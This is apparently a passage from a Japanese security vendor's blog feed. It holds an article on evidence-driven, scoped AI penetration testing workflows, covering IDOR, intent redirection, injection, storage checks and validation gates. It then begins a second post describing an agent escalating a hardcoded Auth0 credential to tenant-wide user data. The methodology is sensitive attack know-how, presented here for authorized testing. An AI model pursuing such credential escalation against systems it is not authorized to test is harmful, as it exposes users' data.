&lt;p&gt;新しいAPIが手元に回ってきたと想像してください。数十のルート、見慣れないミドルウェア、そしてレビュー担当者が何日もかかりきりになるほどの量のコードが含まれています。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;モデルに与えたプロンプト：&lt;/strong&gt;「このリポジトリをレビューして、セキュリティ上の脆弱性を見つけてください。」&lt;/p&gt;
&lt;p&gt;少しすると回答が返ってきます。SQLインジェクション、ハードコードされたシークレット、認可チェックの欠如、安全でないデシリアライゼーションが挙げられています。内容は整理されていて自信に満ち、セキュリティレポートのような体裁に整えられています。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;判断ポイント：&lt;/strong&gt;これをエンジニアリングチームに送るでしょうか。&lt;/p&gt;
&lt;p&gt;まだ送るべきではありません。まず、モデルが実際に何をテストしたのかを確認します。もしかすると、リクエストからデータベースまで追跡されたエンドポイントは一つもないかもしれません。危険なシンクに到達した入力もありません。認可の判定が実際に試されたわけでもありません。悪用可能性の条件が確認されたわけでもありません。出力には有用な仮説が含まれている可能性がありますが、仮説はまだ検出結果ではありません。&lt;/p&gt;
&lt;p&gt;AI支援型のセキュリティテストが役に立つものになるか、単なるノイズになるかは、ここで分かれます。課題は、モデルをペンテスターらしく語らせることではありません。漠然とした依頼から絞り込んだ問いへ、その問いからエビデンスへ、そしてエビデンスから他のエンジニアが再現できる結果へと進めることです。&lt;/p&gt;
&lt;p&gt;判断を一つずつ積み重ねながら、このテストを組み立て直してみましょう。&lt;/p&gt;
&lt;h2 id="まず、答える価値のある問いを一つ選ぶ"&gt;まず、答える価値のある問いを一つ選ぶ&lt;/h2&gt;
&lt;p&gt;生成された手がかりの中には、&lt;code&gt;GET /v1/invoices/{id}&lt;/code&gt;に認可の問題があるかもしれないというものが含まれています。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;当初の主張：&lt;/strong&gt;「このエンドポイントは、他のユーザーに属する請求書を露出させる可能性がある。」&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;必要なエビデンス：&lt;/strong&gt;リソースの所有者を特定し、認可制御の場所を突き止め、攻撃者が持つアクセス権を把握したうえで、認証済みのあるユーザーが別アカウントの請求書をリクエストしたときに何が起きるかを観察します。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;テストの目的：&lt;/strong&gt;認証済みユーザーが&lt;code&gt;GET /v1/invoices/{id}&lt;/code&gt;を通じて、別アカウントが所有する請求書を取得できるかどうかを判定します。&lt;/p&gt;
&lt;p&gt;対象は小さくなりましたが、調査はより深くなりました。調査には今や、インターフェース、所有権の境界、攻撃者の能力、そして成功条件が備わっています。&lt;/p&gt;
&lt;p&gt;同じ転換は、セキュリティのさまざまな領域で有効です。&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;漠然とした依頼&lt;/th&gt;
&lt;th&gt;ワークフローが答えられる問い&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Androidのインテントを確認する&lt;/td&gt;
&lt;td&gt;エクスポートされたアクティビティ&lt;code&gt;ShareActivity&lt;/code&gt;について、攻撃者が制御するエクストラが検証を経ずに特権コンポーネントへ到達できるか。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;インジェクションを探す&lt;/td&gt;
&lt;td&gt;&lt;code&gt;sort&lt;/code&gt;クエリパラメータが、安全な処理を経ずに動的なクエリ操作へ到達できるか。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;保存されたシークレットを探す&lt;/td&gt;
&lt;td&gt;機密と疑われる値がアプリケーションのストレージに書き込まれているか。また、明示した攻撃者モデルのもとでそれを復元できるか。&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;これがコンテキスト分離の実践です。リポジトリ全体をモデルに丸ごと渡すのではなく、ルート定義、関連するミドルウェア、ハンドラー、データアクセスコード、テスト、そして観測したリクエストやレスポンスのエビデンスを提供します。&lt;/p&gt;
&lt;p&gt;これでモデルが読み回る材料は少なくなり、答えるべき明確な問いが一つに定まりました。&lt;/p&gt;
&lt;h2 id="次に、何をもって実証とするかを決める"&gt;次に、何をもって実証とするかを決める&lt;/h2&gt;
&lt;p&gt;モデルが請求書のハンドラーを読み、次のように返したとします。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;当初の主張：&lt;/strong&gt;「このエンドポイントはIDで請求書を取得しているため、安全でないオブジェクト直接参照（IDOR）に対して脆弱である。」&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;判定：&lt;/strong&gt;まだ結論は出せません。IDでオブジェクトを取得するのは、アプリケーションとしてごく普通の動作です。決め手となる問いは、レスポンスが返される前に、所有権のチェックや別の認可ポリシーが適用されているかどうかです。その制御は、ミドルウェア、サービス層、データベースクエリ、あるいは見えている範囲の外にあるポリシー関数に存在する可能性があります。&lt;/p&gt;
&lt;p&gt;結論を求める前に、タスクにエビデンス契約（evidence contract）を与えます。ワークフローには、調査したコードパス、攻撃者の能力、想定される認可制御、検証用のリクエストとレスポンス、そして&lt;code&gt;confirmed&lt;/code&gt;、&lt;code&gt;needs_validation&lt;/code&gt;、&lt;code&gt;not_reproduced&lt;/code&gt;のいずれかのステータスを返すよう求めます。&lt;/p&gt;
&lt;p&gt;構造化された出力によって、主張が正しくなるわけではありません。実証が欠けていることを目に見えるようにするのです。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nt"&gt;task&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;api-object-authorization-001&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;vulnerability_class&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;broken_object_level_authorization&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;target&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;GET&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;path&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;/v1/invoices/{id}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;owner_boundary&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;account_id&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;objective&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p p-Indicator"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;Determine whether an authenticated user can retrieve an invoice that belongs&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;to a different account.&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;permitted_actions&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p p-Indicator"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;Read source files listed in context.&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p p-Indicator"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;Inspect supplied test traffic and test fixtures.&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p p-Indicator"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;Generate a test request only against the approved staging target.&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;required_evidence&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p p-Indicator"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;Authorization check location or its absence.&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p p-Indicator"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;Request and response identifiers for the cross-account test.&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p p-Indicator"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;Expected versus observed authorization result.&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;output_rules&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p p-Indicator"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;Do not report a confirmed vulnerability without runtime or test evidence.&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p p-Indicator"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;Return needs_validation when execution is unavailable.&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p p-Indicator"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;Cite every conclusion with an evidence reference.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;この契約によって、プロンプトをどう改訂しても維持すべきルールが一つ導入されます。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;エビデンスなくして確定なし。&lt;/strong&gt;&lt;/p&gt;
&lt;h2 id="続いて、各結果に次の一手を選ばせる"&gt;続いて、各結果に次の一手を選ばせる&lt;/h2&gt;
&lt;p&gt;モデルはルートを追跡します。認証ミドルウェアと、識別子で請求書を読み込むデータベースクエリは見つかりました。しかし、所有権の条件はまだ見つかりません。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;次の判断：&lt;/strong&gt;新たな説明を生成させるのではありません。不確実性を減らせる次のテストを選びます。ワークフローには、制御されたループが必要です。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;計画：&lt;/strong&gt;不確実性を減らせる最小の問いを特定します。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;収集：&lt;/strong&gt;関連するソースコード、フィクスチャ、トラフィック、または承認済みツールの出力を取得します。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;分析：&lt;/strong&gt;エビデンスを、レビュー対象のセキュリティ制御と結び付けます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;検証：&lt;/strong&gt;リクエストを再送する、安全なテストを実行する、トレースを調べる、あるいは人間によるレビューを依頼します。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;判断：&lt;/strong&gt;検出結果を確定するか、仮説を絞り込むか、あるいは調査を打ち切ります。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;請求書エンドポイントについては、テスターが管理するステージング環境のアカウントを2つ使用します。アカウントAで、一意かつ機密性のないマーカーを含む請求書を作成します。まず、テスト対象のエンドポイントを通じてアカウントAがその請求書を取得できることを確認します。次にアカウントBとして認証し、同じ識別子をリクエストします。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;検証の問い：&lt;/strong&gt;どのような結果が得られれば、問題を実証したことになるでしょうか。&lt;/p&gt;
&lt;p&gt;アカウントBがアカウントAの一意なマーカーを受け取った場合、このテストはアカウントをまたいだアクセスを実証したことになります。ただしそれは、請求書が非公開であり、両アカウントの間に共有関係がない場合に限られます。アクセスが拒否された場合は、テスト対象の経路がこのケースにおいて境界を適用していたことを示します。ベースラインがない、レスポンスが不明瞭である、共有が意図されたものである、あるいはテスト環境が利用できない場合、結果は&lt;code&gt;needs_validation&lt;/code&gt;のままです。&lt;/p&gt;
&lt;p&gt;ソースコードのトレースと実行時のレスポンスは、それぞれ異なる問いに答えます。前者は、制御が欠けているように見える箇所を示します。後者は、稼働中のシステムが実際にどう振る舞うかを示します。信頼できるワークフローは両方を保持し、一方を他方で代用することは決してありません。&lt;/p&gt;
&lt;p&gt;ループを回すたびに、調査の状態が変化しなければなりません。同じ疑いを言い換えたものしか生み出さないのであれば、そのシステムは対象をテストしているのではなく、言葉を生成しているにすぎません。&lt;/p&gt;
&lt;h2 id="同じ手法をほかのセキュリティ上の問いにも適用する"&gt;同じ手法をほかのセキュリティ上の問いにも適用する&lt;/h2&gt;
&lt;p&gt;請求書のケースでは一つの完結した道筋が得られましたが、AIペンテストのワークフローを認可だけを軸に設計することはできません。同じ考え方を、3つの異なる調査に当てはめてみましょう。&lt;/p&gt;
&lt;h3 id="androidのインテントは出発点にすぎない"&gt;Androidのインテントは出発点にすぎない&lt;/h3&gt;
&lt;p&gt;モデルが、&lt;code&gt;ShareActivity&lt;/code&gt;という名前のエクスポートされたAndroidアクティビティを見つけます。あわせて、受信したインテントのエクストラと&lt;code&gt;startActivity&lt;/code&gt;の呼び出しも確認します。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;判断ポイント：&lt;/strong&gt;これだけで、インテントリダイレクションとして報告するのに十分でしょうか。&lt;/p&gt;
&lt;p&gt;十分ではありません。ワークフローは、まだ個々の要素をつなぎ合わせる必要があります。コンポーネントが外部から到達可能であることを確認し、攻撃者がどのエクストラを制御できるかを特定し、それらの値が&lt;code&gt;startActivity&lt;/code&gt;、&lt;code&gt;startService&lt;/code&gt;、&lt;code&gt;sendBroadcast&lt;/code&gt;に至るまでを追跡し、呼び出しの前に適用される検証やコンポーネントの制限を調べるべきです。&lt;/p&gt;
&lt;p&gt;次のステップは、別のアプリケーションから行う、制御された実行時テストです。インテントリダイレクションを確定するには、細工した入力によって、テスト用アプリケーションからは直接呼び出せない動作を被害者側のアプリケーションに実行させる必要があります。たとえば、エクスポートされていない内部コンポーネントや、保護された操作に到達するといったケースです。&lt;/p&gt;
&lt;p&gt;別のエクスポート済みアクティビティを開けたとしても、セキュリティの回避を実証したことにはなりません。入口となるアクティビティがエクスポートされていない、ネストされたインテントが制限されている、あるいは保護された効果が何も生じない場合は、主張を絞り込むか、&lt;code&gt;not_reproduced&lt;/code&gt;とします。&lt;/p&gt;
&lt;p&gt;危険なAPIは手がかりにすぎませんでした。それが検出結果になるかどうかを決めるのは、到達可能性、攻撃者による制御、そして観測された動作です。&lt;/p&gt;
&lt;h3 id="クエリパラメータがそのままインジェクションになるわけではない"&gt;クエリパラメータがそのままインジェクションになるわけではない&lt;/h3&gt;
&lt;p&gt;次に、モデルは&lt;code&gt;sort&lt;/code&gt;クエリパラメータがクエリ構築関数に到達していることに気づき、その経路に「SQLインジェクションの可能性」というラベルを付けます。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;次の問い：&lt;/strong&gt;その値はSQLコマンドの一部になるのでしょうか。それともデータのままでしょうか。&lt;code&gt;name&lt;/code&gt;や&lt;code&gt;created_at&lt;/code&gt;を固定のカラム名に対応付ける許可リストがあれば、結論は変わります。値がクエリに直接挿入されているのであれば、承認された環境で安全な検証テストを行う根拠になります。&lt;/p&gt;
&lt;p&gt;ワークフローは、HTTPハンドラーからクエリビルダーまで値を追跡し、検証や変換があればそれを記録します。続いて、テスターが所有するデータに対して、対になる非破壊的なテストを実行します。インジェクションを確定するには、ベースラインのリクエストが安定したまま、攻撃者が制御する入力によってクエリの動作が変化する必要があります。データベースエラーだけでは不十分です。不正な形式の入力は、インジェクションを可能にしなくてもエラーを引き起こすことがあるからです。攻撃者の入力が到達しない文字列連結は静的なエビデンスにとどまり、悪用が実証されたことにはなりません。&lt;/p&gt;
&lt;h3 id="機密性の高い値は実際にストレージへ到達していなければならない"&gt;機密性の高い値は実際にストレージへ到達していなければならない&lt;/h3&gt;
&lt;p&gt;最後に、モデルはSharedPreferences、ローカルデータベース、またはキャッシュに値を書き込むコードを見つけ、「機密データが安全でない方法で保存されている」と報告します。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;欠けているエビデンス：&lt;/strong&gt;ワークフローは、まずその値を特定しなければなりません。ストレージAPIがあるからといって、パスワード、トークン、個人データ、暗号鍵素材がそれを通じて書き込まれていることにはなりません。そのうえで、書き込み経路を追跡するか、該当するアプリケーションのフローを実際に動かし、明示した攻撃者モデルのもとで、結果として生じたストレージの内容を調べる必要があります。&lt;/p&gt;
&lt;p&gt;テスターが所有する機密性の高い値がディスク上に現れた場合は、その保存場所、作成手順、保護の状態、復元の条件を記録します。また、抽出にデバッグ可能なビルド、&lt;code&gt;run-as&lt;/code&gt;、バックアップへのアクセス、root権限、物理アクセス、実行時インストルメンテーションのいずれが必要だったかも明記します。&lt;/p&gt;
&lt;p&gt;root権限を取得して初めてプライベートストレージから復元できたデータは、外部から読み取り可能なストレージで露出しているデータと同じリスクの主張を裏付けるものではありません。エビデンスが汎用的なストレージヘルパーの存在しか示していない場合、その主張は仮説のままです。&lt;/p&gt;
&lt;p&gt;これらの例では、使うツールもエビデンスも異なりますが、たどる流れは同じです。問いを絞り込み、攻撃者による制御を追跡し、想定される制御を特定し、安全にテストし、観測された結果を保存するという流れです。&lt;/p&gt;
&lt;h2 id="手がかりは検証ゲートで検出結果になる"&gt;手がかりは検証ゲートで検出結果になる&lt;/h2&gt;
&lt;p&gt;アカウントAは、マーカーを付けた自分の請求書を正常に取得します。続いて、共有関係のないアカウントBが、同じエンドポイントを通じて同じ非公開のマーカーを取得します。ワークフローは、両アカウントのアイデンティティ、所有権のベースライン、リクエスト、レスポンス、コードパス、そして観測されたアカウント間の情報開示を記録します。&lt;/p&gt;
&lt;p&gt;ここに至って初めて、手がかりは確定した検出結果になり得ます。&lt;/p&gt;
&lt;p&gt;主張が異なれば、必要なゲートも異なります。&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;主張&lt;/th&gt;
&lt;th&gt;ワークフローが実証しなければならないこと&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;機密性の高い値がローカルに保存されている&lt;/td&gt;
&lt;td&gt;明示した保存場所からテスターが所有する値を復元し、アクセスの前提条件を文書化します。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;エンドポイントにオブジェクト単位の認可が欠けている&lt;/td&gt;
&lt;td&gt;所有者によるアクセスを確認したうえで、共有関係のない、テスターが管理する2つ目のプリンシパルによるアクセスを実証します。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ユーザー入力が危険なシンクに到達する&lt;/td&gt;
&lt;td&gt;攻撃者による制御を追跡し、対になる安全なテストによって、そのシンクのセキュリティ上重要な動作を実証します。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;リモートコード実行&lt;/td&gt;
&lt;td&gt;許可された環境で、一意かつ無害な実行マーカーを生成します。クラッシュだけでは不十分です。&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;疑わしいAPI、欠けているように見えるチェック、見慣れないエンドポイント、危険な関数は、次のテストの指針にはなります。しかし、どれもそれだけで報告に値する脆弱性になるわけではありません。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;検証ができない場合：&lt;/strong&gt;そのことを明記します。&lt;code&gt;Needs_validation&lt;/code&gt;は、何が未解明のまま残っているかをレビュー担当者に伝えるため、自信満々の誤検知（フォールスポジティブ）よりも有用です。&lt;/p&gt;
&lt;h2 id="モデルにツールを与える前に、境界を定める"&gt;モデルにツールを与える前に、境界を定める&lt;/h2&gt;
&lt;p&gt;調査がうまく進んでいると、モデルにより多くのアクセス権を与えたくなります。ツールを増やし、対象を増やし、場合によっては本番環境の認証情報まで渡したくなるかもしれません。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;安全性の問い：&lt;/strong&gt;このワークフローがタスクを誤解したり、悪意のあるコンテンツに従ったりした場合、取り得る最も被害の大きい行動は何でしょうか。&lt;/p&gt;
&lt;p&gt;「注意してください」はセキュリティ境界ではありません。実行レイヤーで、ソースコードへの読み取り専用アクセス、許可リストに登録された対象、合成アイデンティティ、レート制限、承認済みのステージング環境、そして状態を変更する操作の前の人間による承認を強制しなければなりません。&lt;/p&gt;
&lt;p&gt;リポジトリ内のファイル、チケット、Webページ、ログ、対象からのレスポンスは、信頼できない入力です。そこには、AIシステムの向かう先を変えることを意図した指示が含まれている可能性があります。したがって、プロンプトインジェクションや過剰な自律性はシステム設計上のリスクであり、巧みな言い回しだけで解決できる問題ではありません。&lt;/p&gt;
&lt;p&gt;モデルは行動を提案することはできます。それが許可されるかどうかを決めるのは、実行レイヤーです。&lt;/p&gt;
&lt;h2 id="一度成功したテストも、一つのテストにすぎない"&gt;一度成功したテストも、一つのテストにすぎない&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;信頼性の問い：&lt;/strong&gt;請求書の調査が一度成功したことで、プロンプトのアーキテクチャが信頼できると証明されたことになるでしょうか。&lt;/p&gt;
&lt;p&gt;なりません。証明されたのは、一つのワークフローが一つのケースに対処できたということだけです。&lt;/p&gt;
&lt;p&gt;確定した脆弱性、既知の誤検知、問題のないコンポーネント、そして正しい結果が&lt;code&gt;needs_validation&lt;/code&gt;となる不完全なケースから、評価セットを構築します。モデル、プロンプト、ツール、コンテキスト選択のルール、出力スキーマのいずれかが変更されるたびに、それらのケースを実行します。&lt;/p&gt;
&lt;p&gt;そのうえで、次のことを確認します。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;既知の問題を特定できたか。&lt;/li&gt;
&lt;li&gt;正しいエビデンスを添付したか。&lt;/li&gt;
&lt;li&gt;既知の誤検知を棄却したか。&lt;/li&gt;
&lt;li&gt;実行時の実証が得られないときに停止したか。&lt;/li&gt;
&lt;li&gt;レビュー担当者が結論を再現できたか。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;これにより、プロンプトの編集はエンジニアリングになります。変更が採用に値するのは、計測された成果を改善したときであり、より説得力のある文章を生み出したときではありません。&lt;/p&gt;
&lt;h2 id="今なら何を信頼するか"&gt;今なら何を信頼するか&lt;/h2&gt;
&lt;p&gt;最初の回答に戻りましょう。漠然としたリポジトリのレビューから生成された、脆弱性の可能性を洗練された体裁で並べたリストです。&lt;/p&gt;
&lt;p&gt;これを請求書の調査と比べてみてください。後者の結果には、範囲が限定された対象、攻撃者モデル、コードのトレース、管理された2つのアイデンティティ、記録されたリクエストとレスポンス、観測された認可の不備、そして定義済みの検証ゲートを通過したステータスがそろっています。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;最終判断：&lt;/strong&gt;エンジニアリングチームに送るのは、どちらの結果でしょうか。&lt;/p&gt;
&lt;p&gt;AIは、セキュリティチームが大規模なコードベースを読み進め、エビデンスを整理し、焦点を絞ったテスト計画を作成し、次に何を調べるべきかを判断するのを支援できます。しかし、対象、テスト、制御、レビュー担当者が不要になるわけではありません。&lt;/p&gt;
&lt;p&gt;目指すべきは、脆弱性の可能性をより長く並べたリストではありません。対象を貫く、短く、根拠を示せる道筋です。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;スコープ &amp;rarr; 問い &amp;rarr; エビデンス &amp;rarr; テスト &amp;rarr; 観測結果 &amp;rarr; 結論。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;それこそが、セキュリティテストについて説明できるモデルと、他のエンジニアが再現し、異議を唱え、修正し、検証できるものを残すワークフローとの違いです。&lt;/p&gt;
&lt;h2 id="参考文献"&gt;参考文献&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://blog.ostorlab.co/9-open-source-ai-pentest-tools-2026.html"&gt;オープンソースのAIペンテストツール9種の比較（2026年）&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://owasp.org/www-project-top-10-for-large-language-model-applications/"&gt;OWASP Top 10 for LLM Applications&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://platform.openai.com/docs/guides/evals"&gt;OpenAIのevaluationsドキュメント&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://csrc.nist.gov/projects/ssdf"&gt;NIST Secure Software Development Framework&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="Security"/><category term="AI"/><category term="Pentesting"/><category term="Prompt Engineering"/><category term="AppSec"/></entry><entry><title>AIスキャナーはいつAIペンテストになるのか</title><link href="https://blog.ostorlab.co/ja/ai-pentest-vs-agentic-scanning.html" rel="alternate"/><published>2026-07-22T17:50:00+02:00</published><updated>2026-07-22T17:50:00+02:00</updated><author><name>Abir Jelti</name></author><id>tag:blog.ostorlab.co,2026-07-22:/ja/ai-pentest-vs-agentic-scanning.html</id><summary type="html">&lt;p&gt;AIを活用したスキャンとAIペンテストを分けるものは何か、そしてOstorlab Deep Agentic Scanがエビデンスをたどって実際の攻撃経路をどのように検証するのかを解説します。&lt;/p&gt;</summary><content type="html">&lt;p&gt;AIを活用したスキャナーは、しばしばAIペンテストとして紹介されます。その理屈は分かりやすいものです。AIを使って脆弱性を検出し、リスクを説明し、修正を推奨するのであれば、それ以外の何だというのでしょうか。&lt;/p&gt;
&lt;p&gt;しかしこれは、検出結果の周辺の分析が改善されることと、アプリケーションをテストする方法そのものが異なることを混同しています。&lt;/p&gt;
&lt;p&gt;AIスキャナーがAIペンテストになるのは、一つのテストの結果が、次に何を調査するかを決めるようになったときです。&lt;/p&gt;
&lt;p&gt;その違いは、最初の検出結果の後にはっきりします。&lt;/p&gt;
&lt;p&gt;スキャナーがiOSアプリケーション内にハードコードされた認証情報を発見したとします。スキャナーはそのシークレットを特定し、重大度を割り当て、レポートに追加します。有用ではありますが、最も重要な問いは答えられないまま残ります。&lt;strong&gt;その認証情報は実際に使えるのか。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;ある&lt;a href="https://blog.ostorlab.co/agentic-deep-scan-improvements.html#improved-vulnerability-chaining-and-risk-prioritization"&gt;Deep Agentic Scanの評価&lt;/a&gt;では、エージェントはハードコードされたAuth0のマシン間（machine-to-machine）認証情報を、すぐに報告するのではなく実際にテストしました。&lt;/p&gt;
&lt;p&gt;認証情報は機能し、本番環境のJWTが発行されました。これにより認証情報が有効であることは確認できましたが、より興味深い問いが生まれました。&lt;strong&gt;そのトークンで何にアクセスできるのか。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;エージェントはトークンのスコープ、オーディエンス、署名情報を調べました。その結果、同じ認証情報でAuth0 Management APIに対して認証できることが判明しました。&lt;/p&gt;
&lt;p&gt;APIはその認証情報を受け入れましたが、その答えがさらに別の問いを生みました。&lt;strong&gt;このアクセスによってどのような権限が得られるのか。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;さらにテストを進めると、管理者権限と、テナント全体にわたる機微なユーザー情報へのアクセスが明らかになりました。調査は一つの疑わしい文字列から始まり、実証された攻撃経路にまで到達したのです。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="Auth0" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-07-23_ai_pentest/auth0-attack-chain-editorial-v3.png"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;ハードコードされた認証情報 &amp;rarr; 本番環境のJWT &amp;rarr; Management API &amp;rarr; テナント全体のユーザーデータ&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;従来のスキャナーでも、最初のステップは見つけられたかもしれません。AIペンテストの価値は、それぞれの結果が次のテストを形作るようにしたことから生まれました。&lt;/p&gt;
&lt;h2 id="検出結果はゴールではない"&gt;検出結果はゴールではない&lt;/h2&gt;
&lt;p&gt;これこそが、AIペネトレーションテストを、スキャナーに単にAIを追加したものと分けるポイントです。Deep Agentic Scanはアプリケーションを調べ、仮説を立て、セキュリティツールを選び、結果を観察し、その結果をもとに次に何を調査すべきかを判断します。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="スキャナーとAIペンテストの比較" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-07-23_ai_pentest/scanner-vs-ai-pentest.png"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
